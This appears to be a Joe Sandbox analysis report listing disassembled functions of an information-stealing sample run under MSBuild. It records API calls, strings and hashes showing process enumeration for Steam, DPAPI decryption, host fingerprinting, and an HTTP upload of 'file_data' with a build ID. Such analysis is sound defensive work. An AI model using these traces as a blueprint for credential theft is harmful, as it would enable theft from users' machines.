Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction ID: e9d49ef9ce8a2bc9a117d4fe253b15a3b51ee7ef692749dde95bb5dd1480248d
Opcode Fuzzy Hash: 2f9eaede6a784df842a591c25a0cd1165b2f0564e05c296c23f42ffc82e080ae
Instruction Fuzzy Hash: A0812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction ID: a3cdee16b5dfd04d3bd918c7eedd9f2c5ccf5c1b7225a83da59ac7103b0bc528
Opcode Fuzzy Hash: 1e05f0965f72d128c620ac0fa61a73bdd70f09bb6f681c8712c2487e80381a4f
Instruction Fuzzy Hash: 81012170A01224DFDB60DB64DD45BDE77B9AF09311F4011E6E409E2290EB398B81CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction ID: ba20de4f6d07cba688775156cda93bca6e715b227c052c7d3b8ee28496ea85f9
Opcode Fuzzy Hash: b5110414db0781ed465f941b9ae6bcaf1628d348266bcf15fae52e8b0fa6dca4
Instruction Fuzzy Hash: 2A314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F41,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction ID: a342571249a904de89e2d28a6ac51ba89f12813f8da7ed82e50d95a069ae9259
Opcode Fuzzy Hash: 3a25e308f3e13ec267530d7d1545f0ea3354c92615fb9149f05ae7eefacbcf4d
Instruction Fuzzy Hash: C1018135600224AFEB61DB609D48FEE77FE9F19301F8400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction ID: cecb0f06a50482290116f099c25e0230255ed02a1d9bcffe7551c72d2d14305d
Opcode Fuzzy Hash: d4b453576ad4f3625b6b8d3a98ae388fbddfe9144bcf6f2d6953d3127222c563
Instruction Fuzzy Hash: 9C117771A00214ABDB11EB65DC85BEE73A9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction ID: 61d95923a291ecda6e095beb314f014951f64f3de92a0ce4f4bd39d2e0bf5c47
Opcode Fuzzy Hash: da3ab1333ae34f1d28e0fac43badc88ac46d6a3555cecf111c3774452892b3c3
Instruction Fuzzy Hash: F2F0E071A0132467EB04DFB4EC49B9B37659B04725F100295F511D71D0EB759E844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction ID: 6ece5ee49d11cdb060b7bdfc3a79890b10628a8e35908506f9dd9848dd200c5c
Opcode Fuzzy Hash: 998f64295720f10c821e057b3243b12a1334f63cbf789cdccd19e786a3f5f674
Instruction Fuzzy Hash: 63E092B1D1020DABCF04DF60EC459DE77FCEB08308F0054B5A505E3180D674AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418654), ref: 004014DF

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,566ac7bdeaf763bbaf70aa6d5667c804,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

", xrefs: 0040597B
file_data, xrefs: 00405C09
", xrefs: 0040581B
", xrefs: 00405C35
------, xrefs: 004059FF
--, xrefs: 00405600
------, xrefs: 00405B5D
", xrefs: 00405AD8
ERROR, xrefs: 00405D79
------, xrefs: 0040589D
------, xrefs: 00405605
build_id, xrefs: 0040594F
------, xrefs: 0040573C
ERROR, xrefs: 00405F2F
block, xrefs: 00405E30
566ac7bdeaf763bbaf70aa6d5667c804, xrefs: 004059A7

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$566ac7bdeaf763bbaf70aa6d5667c804$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-762780105
Opcode ID: 177d59b578fcbf7e257bc24f654d4a050c0cfce4b238dadea4729ba93ceee506
Instruction ID: 4baf88cb2a5c47609fe6293a48fe3edcdf17a13d7b96339157f3ca2814525fa3
Opcode Fuzzy Hash: 177d59b578fcbf7e257bc24f654d4a050c0cfce4b238dadea4729ba93ceee506
Instruction Fuzzy Hash: 8F42E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
